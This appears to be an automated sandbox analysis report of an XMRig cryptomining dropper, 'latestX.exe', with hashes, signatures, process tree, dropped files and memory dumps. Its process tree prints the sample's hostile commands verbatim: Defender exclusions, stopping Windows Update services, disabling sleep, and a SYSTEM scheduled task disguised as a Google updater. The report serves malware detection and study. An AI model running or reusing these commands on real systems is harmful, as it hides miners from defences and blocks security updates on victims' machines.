Analysis

  • max time kernel
    307s
  • max time network
    314s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    01/11/2023, 05:41

General

  • Target

    latestX.exe

  • Size

    5.6MB

  • MD5

    bae29e49e8190bfbbf0d77ffab8de59d

  • SHA1

    4a6352bb47c7e1666a60c76f9b17ca4707872bd9

  • SHA256

    f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

  • SHA512

    9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

  • SSDEEP

    49152:MMcDmMRlBdzs3EThgR0uEqBXLdcJAbtNmbOHaGhEospqOziZXAfrrARS7JL2ozPX:dcdrCET8XeospuZXAf0EJyocDKIVDT05

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 23 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1280
      • C:\Users\Admin\AppData\Local\Temp\latestX.exe
        "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Drivers directory
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:3008
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:2888
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2864
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2956
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:2280
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2604
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1432
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1368
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1088
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1384
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2844
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2808
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:2928
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:2660
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:2952
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:2924
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2900
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1176
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1172
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2612
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1816
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:2464
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:1732
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2092
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {17C97B1E-E2BF-431C-B13C-EECF3B0780C2} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:296
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2964

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          5.6MB

          MD5

          bae29e49e8190bfbbf0d77ffab8de59d

          SHA1

          4a6352bb47c7e1666a60c76f9b17ca4707872bd9

          SHA256

          f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

          SHA512

          9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          5.6MB

          MD5

          bae29e49e8190bfbbf0d77ffab8de59d

          SHA1

          4a6352bb47c7e1666a60c76f9b17ca4707872bd9

          SHA256

          f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

          SHA512

          9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          7c437ff8e350381dc4caf15eb1aa12d9

          SHA1

          10732c075b7bc3c1c3541131dcc3bd314822bb6e

          SHA256

          cd7e56efdbe646810319dedc1afbc55f24acc2d04bf993527ee10aa400828565

          SHA512

          bcb9a2e39aff385def38aa6d4f292c33d66170b5f761b3f2aa7307f42e47fcf0b6d231ef26d58de60750e69bfc54a5c6eb622e30e886351a0ad28099a6a07862

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MH93C03991J6IWESM4N9.temp

          Filesize

          7KB

          MD5

          7c437ff8e350381dc4caf15eb1aa12d9

          SHA1

          10732c075b7bc3c1c3541131dcc3bd314822bb6e

          SHA256

          cd7e56efdbe646810319dedc1afbc55f24acc2d04bf993527ee10aa400828565

          SHA512

          bcb9a2e39aff385def38aa6d4f292c33d66170b5f761b3f2aa7307f42e47fcf0b6d231ef26d58de60750e69bfc54a5c6eb622e30e886351a0ad28099a6a07862

        • C:\Windows\System32\drivers\etc\hosts

          Filesize

          2KB

          MD5

          3e9af076957c5b2f9c9ce5ec994bea05

          SHA1

          a8c7326f6bceffaeed1c2bb8d7165e56497965fe

          SHA256

          e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e

          SHA512

          933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          5.6MB

          MD5

          bae29e49e8190bfbbf0d77ffab8de59d

          SHA1

          4a6352bb47c7e1666a60c76f9b17ca4707872bd9

          SHA256

          f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87

          SHA512

          9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

        • memory/1384-39-0x0000000001230000-0x00000000012B0000-memory.dmp

          Filesize

          512KB

        • memory/1384-38-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/1384-40-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/1384-44-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/1384-43-0x0000000001230000-0x00000000012B0000-memory.dmp

          Filesize

          512KB

        • memory/1384-42-0x0000000001230000-0x00000000012B0000-memory.dmp

          Filesize

          512KB

        • memory/1384-41-0x0000000001230000-0x00000000012B0000-memory.dmp

          Filesize

          512KB

        • memory/1568-29-0x000000013F4A0000-0x000000013FA41000-memory.dmp

          Filesize

          5.6MB

        • memory/1568-0-0x000000013F4A0000-0x000000013FA41000-memory.dmp

          Filesize

          5.6MB

        • memory/1732-69-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/1732-60-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/1816-51-0x0000000001050000-0x00000000010D0000-memory.dmp

          Filesize

          512KB

        • memory/1816-48-0x0000000001050000-0x00000000010D0000-memory.dmp

          Filesize

          512KB

        • memory/1816-49-0x0000000001050000-0x00000000010D0000-memory.dmp

          Filesize

          512KB

        • memory/1816-47-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/1816-50-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/1816-52-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/2092-68-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-82-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-104-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-102-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-100-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-98-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-96-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-94-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-92-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-90-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-88-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-86-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-84-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-80-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-78-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-58-0x0000000000040000-0x0000000000060000-memory.dmp

          Filesize

          128KB

        • memory/2092-76-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-59-0x0000000000540000-0x0000000000560000-memory.dmp

          Filesize

          128KB

        • memory/2092-74-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-61-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-62-0x0000000000540000-0x0000000000560000-memory.dmp

          Filesize

          128KB

        • memory/2092-64-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-66-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-72-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2092-70-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2684-20-0x000000001B0B0000-0x000000001B392000-memory.dmp

          Filesize

          2.9MB

        • memory/2684-27-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-26-0x0000000002430000-0x00000000024B0000-memory.dmp

          Filesize

          512KB

        • memory/2684-25-0x0000000002430000-0x00000000024B0000-memory.dmp

          Filesize

          512KB

        • memory/2684-24-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-22-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-23-0x0000000002430000-0x00000000024B0000-memory.dmp

          Filesize

          512KB

        • memory/2684-21-0x0000000002360000-0x0000000002368000-memory.dmp

          Filesize

          32KB

        • memory/2776-10-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/2776-13-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB

        • memory/2776-12-0x00000000024E4000-0x00000000024E7000-memory.dmp

          Filesize

          12KB

        • memory/2776-11-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB

        • memory/2776-7-0x000000001B090000-0x000000001B372000-memory.dmp

          Filesize

          2.9MB

        • memory/2776-9-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/2776-8-0x0000000001E90000-0x0000000001E98000-memory.dmp

          Filesize

          32KB

        • memory/2776-33-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB

        • memory/2964-34-0x000000013FB20000-0x00000001400C1000-memory.dmp

          Filesize

          5.6MB

        • memory/2964-57-0x000000013FB20000-0x00000001400C1000-memory.dmp

          Filesize

          5.6MB